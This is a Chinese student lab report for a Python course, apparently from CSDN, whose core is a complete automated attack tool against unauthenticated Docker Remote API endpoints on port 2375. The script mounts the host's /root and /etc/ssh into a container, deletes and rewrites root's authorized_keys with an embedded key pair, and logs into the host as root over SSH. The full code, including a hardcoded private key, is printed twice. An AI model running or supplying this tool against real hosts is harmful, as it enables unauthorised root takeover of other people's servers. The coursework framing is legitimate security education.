双11狂欢大促

盲盒赢 定制羽绒服

开启惊喜盲盒,抽取你的专属好礼

— 惊喜奖品抢先看 —

20221214 崔志鹏 实验四《Python程序设计》实验报告

CHTXRT CHTXRT 墨衍会员 · AI 创作全网分发 墨衍智能分发 通过墨衍一键同步至各平台 可同步平台 CSDN微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年,写一次发全网 我也要 + 加入社区

20221214 2023-2024-2 《Python程序设计》实验四报告

课程:《Python程序设计》
班级: 2212
姓名: 崔志鹏
学号:20221214
实验教师:王志强
实验日期:2024年5月15日
必修/选修: 公选课

1.实验内容

(1)实验整体内容:

Python综合应用:爬虫、数据处理、可视化、机器学习、神经网络、游戏、网络安全等。

  1. 编写从社交网络爬取数据,实现可视化舆情监控或者情感分析。
  2. 利用公开数据集,开展图像分类、恶意软件检测等
  3. 利用Python库,基于OCR技术实现自动化提取图片中数据,并填入excel中。
  4. 爬取天气数据,实现自动化微信提醒
  5. 利用爬虫,实现自动化下载网站视频、文件等。
  6. 编写小游戏:坦克大战、贪吃蛇、扫雷等等
  7. 注:在Windows/Linux系统上使用VIM、PDB、IDLE、Pycharm等工具编程实现。

(2)本实验聚焦内容:

  • 针对Docker Remote API未授权访问漏洞,实现自动化攻击工具,实现自动黑入目标主机

2. 实验过程及结果

(1)实验背景

2375端口是docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作。

当$HOST主机以**docker daemon -H=0.0.0.0:2375**方式启动daemon时,可以在外部机器对$HOST的docker daemon进行直接操作:

docker -H tcp://$HOST:2375 ps

(2)实验总体设计

对于2375端口的攻击主要分为几个步骤:

  1. 开启容器
  2. 以交互模式进入容器
  3. 通过ssh公钥注入达到逃逸效果
  4. 直接连接宿主机

代码的编写主要也是这几个步骤

(3)用户输入ip及端口,尝试连接

判断其是否为Docker Remote API:

import os
import subprocess as sp

ip = input("请输入目标ip地址:")
port = input("请输入目标端口:")

# ip = "192.168.0.219"
# port = "2375"

command_front = "docker -H tcp://" + ip + ":" + port
ret = os.popen(command_front + " ps").readlines()

if ret[0] == 'CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES\n':
    print("连接成功")
else:
    print("连接失败")
    print("请检查ip地址和端口号是否正确,或Docker是否已经安装,或对方服务存在保护")

(4)拉取镜像并尝试创建容器

拉取一个基础的Ubuntu镜像(别的亦可):

def docker_exec(command):
    return os.popen(command_front + " " + command).readlines()

print("正在尝试拉取镜像...")
ret = docker_exec("pull ubuntu")
ret = docker_exec("images")

flag = False
for i in ret:
    if i[:6]=="ubuntu":
        flag = True
        break

if(flag):
    print("镜像拉取成功!")
else:
    print("镜像拉取失败,可能目标主机无法连接外网")
    exit(0)

首先尝试创建一个容器,将其挂载,尝试是否可以成功连接交互:

print("正在尝试创建容器...")
p = sp.Popen(command_front + " " + "run --rm -i --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu", stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)

stdout, stderr = p.communicate(b"whoami")
if p.returncode == 0:
    output = stdout.decode().strip()
    if(output=="root"):
        print("创建容器成功")
    else:
        exit(0)
else:
    error = stderr.decode().strip()
    print(error)
    exit(0)

(5)生成RSA公私钥,进行注入

首先将私钥写入我们电脑的某个文件中,方便后续ssh使用:

print("正在生成临时密钥文件......")
with open('id_rsa_tmp', 'w') as f:
    f.write(id_rsa_tmp)

随后利用ssh pub key 注入,将自己的公钥写入目标主机的可信公钥文件中:

print("临时密钥文件生成成功,正在向目标主机注入公钥......")

p = sp.Popen(command_front + " " + "run --rm -i --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu", stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
stdout, stderr = p.communicate(b"rm /tmp/root/.ssh/authorized_keys\n" + b"cat >> /tmp/root/.ssh/authorized_keys <<EOF\n" + id_rsa_tmp_pub.encode() + b"\nEOF\n")
if p.returncode == 0:
    output = stdout.decode().strip()
    print(output)
    print("公钥注入成功!")
else:
    error = stderr.decode().strip()
    print(error)
    exit(0)

(6)利用ssh登入目标主机,成功实现攻击

最简单的一步:

print("正在测试使用密钥登录目标主机......")
ret = os.system("ssh -i id_rsa_tmp root@%s" % ip)
print(ret)
if ret.find("Connection refused")!=-1:
    print("目标主机拒绝ssh连接!")
    exit(0)

(7)实验结果

成功登入目标主机,攻击完成,接下来可以获取flag了(雾

img

img

(8)完整代码

#!/usr/bin/python3
# coding = utf-8

import os
import subprocess as sp

ip = input("请输入目标ip地址:")
port = input("请输入目标端口:")

# ip = "192.168.0.219"
# port = "2375"

command_front = "docker -H tcp://" + ip + ":" + port
ret = os.popen(command_front + " ps").readlines()

if ret[0] == 'CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES\n':
    print("连接成功")
else:
    print("连接失败")
    print("请检查ip地址和端口号是否正确,或Docker是否已经安装,或对方服务存在保护")

def docker_exec(command):
    return os.popen(command_front + " " + command).readlines()

print("正在尝试拉取镜像...")
ret = docker_exec("pull ubuntu")
ret = docker_exec("images")

flag = False
for i in ret:
    if i[:6]=="ubuntu":
        flag = True
        break

if(flag):
    print("镜像拉取成功!")
else:
    print("镜像拉取失败,可能对方主机无法连接外网")
    exit(0)

print("正在尝试创建容器...")
p = sp.Popen(command_front + " " + "run --rm -i --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu", stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)

stdout, stderr = p.communicate(b"whoami")
if p.returncode == 0:
    output = stdout.decode().strip()
    if(output=="root"):
        print("创建容器成功")
    else:
        exit(0)
else:
    error = stderr.decode().strip()
    print(error)
    exit(0)


# os.popen('ssh-keygen -t rsa -C "hello@world.com" -f ' + os.getcwd() + "\\id_rsa_tmp")

id_rsa_tmp = '''-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
'''

id_rsa_tmp_pub = '''ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCr1HxiskCTJO15uLUtsy5MYFdqq7Vn2GZVEIAdy852xf7HpsgmKCMv/uxpvcG+Bf5zc3DXJm4jTRmU1IKsLogqR0OjOgcrMWRnWywHnkZDJ+fSgb1VztNd+3v/Ah0CxszmDOS3zgse76eRTgeVU/FOAW8CASCkfSdUIPpeMkLfe2TnY2PxP0AmBQS+R1c2i7OBdRFtfompiGmbayXLMwqJat2QGQnbWabyflgVcEFFkqP8kNFZizva4Y9N7/h++II9phPurB4OLIev1WWFfV7Ss+div6E0rYPrZFbtls2qOG6GcmjBNMVEe+pWcJjf+c7Gy3gyz7IdrkzC9s2d4xVeo5FfxcKfJypczWCsMWvVyQa0uKavxMPFvWAtDang+gQgXBDoe+1oJZB4UZuydWhXIpUegLCXXXsepr2cRP4yyOyXnUTA5X5+4Klt0rBU1oxPfXxAPYmM2OKc8+008txgyiLzngJ02Agwr5txUANdYUwEhQ1Fw9dn3Z8/wbWz+Ks= hello@world.com'''

print("正在生成临时密钥文件......")
with open('id_rsa_tmp', 'w') as f:
    f.write(id_rsa_tmp)

print("临时密钥文件生成成功,正在向目标主机注入公钥......")

p = sp.Popen(command_front + " " + "run --rm -i --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu", stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
stdout, stderr = p.communicate(b"rm /tmp/root/.ssh/authorized_keys\n" + b"cat >> /tmp/root/.ssh/authorized_keys <<EOF\n" + id_rsa_tmp_pub.encode() + b"\nEOF\n")
if p.returncode == 0:
    output = stdout.decode().strip()
    print(output)
    print("公钥注入成功!")
else:
    error = stderr.decode().strip()
    print(error)
    exit(0)

print("正在测试使用密钥登录目标主机......")
ret = os.popen("ssh -i id_rsa_tmp root@%s" % ip).read()
print(ret)
if ret.find("Connection refused")!=-1:
    print("目标主机拒绝ssh连接!")
    exit(0)

3. 实验过程中遇到的问题和解决过程

  • 问题1:无法使用公钥登录
  • 问题1解决方案:格式问题,不能有多余的换行
  • 问题2:报错:the input device is not a TTY. If you are using mintty, try prefixing the command with 'winpty'
  • 问题2解决方案:连接时用-i代替-it

其他(感悟、思考等)

  1. Docker Remote API不要随便打开,说不定你同学里面就有xx呢。
  2. 不说了,我先去关了

课程总结

总体来讲,Python作为一个轻量 的脚本语言,适合于编写脚本来自动化常见的网络安全任务,如扫描网络漏洞、监控网络流量、进行日志分析等,也常见其用于一把梭等工具之中。在信息安全竞赛中,绝大多数二进制安全题目的解答都是在Python的pwntool库的基础上完成的。此外,其它类型题目若涉及到对图片、音频、视频的批量二进制层面上的处理,一般也是运用Python来完成。

同时,作为脚本语言,其也常用于一些安全软件的插件中,比如burpsuite的插件就可以用python编写,IDA也可以使用python辅助处理汇编代码等。

另外,还有基于Python的Django、Flask等后端框架等,使得Python在网络安全中的作用也较为突出。

总而言之,在网络安全领域,Python凭借其易用性、强大的库支持和广泛的应用场景,已经成为网络安全不可或缺的利器。

参考资料

...全文

相关推荐

政府科技管理者如何提升科技成果转化项目进场交易的备案效率?.docx

政府科技管理者如何提升科技成果转化项目进场交易的备案效率?

BIZKEEN

山区道路边坡落石隐患检测数据集VOC+YOLO格式241张1类别.md

【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 CSDN 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 CSDN 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 CSDN 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 CSDN 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

fl176831

高空作业栏杆检测数据集VOC+YOLO格式230张3类别.md

【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 CSDN 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 CSDN 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 CSDN 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 CSDN 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

fl176831

ti-cgt-c2000-22.6.0.LTS-windows-x64-installer

ti-cgt-c2000-22.6.0.LTS-windows-x64-installer

lkq550

光伏板太阳能板尘土灰尘脏污检测数据集VOC+YOLO格式1006张3类别.md

【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 CSDN 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 CSDN 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 CSDN 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 CSDN 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

fl176831
评论 1
收藏 已收藏
分享
返回顶部
CHTXRT
2024Python公选 110 成员 308 内容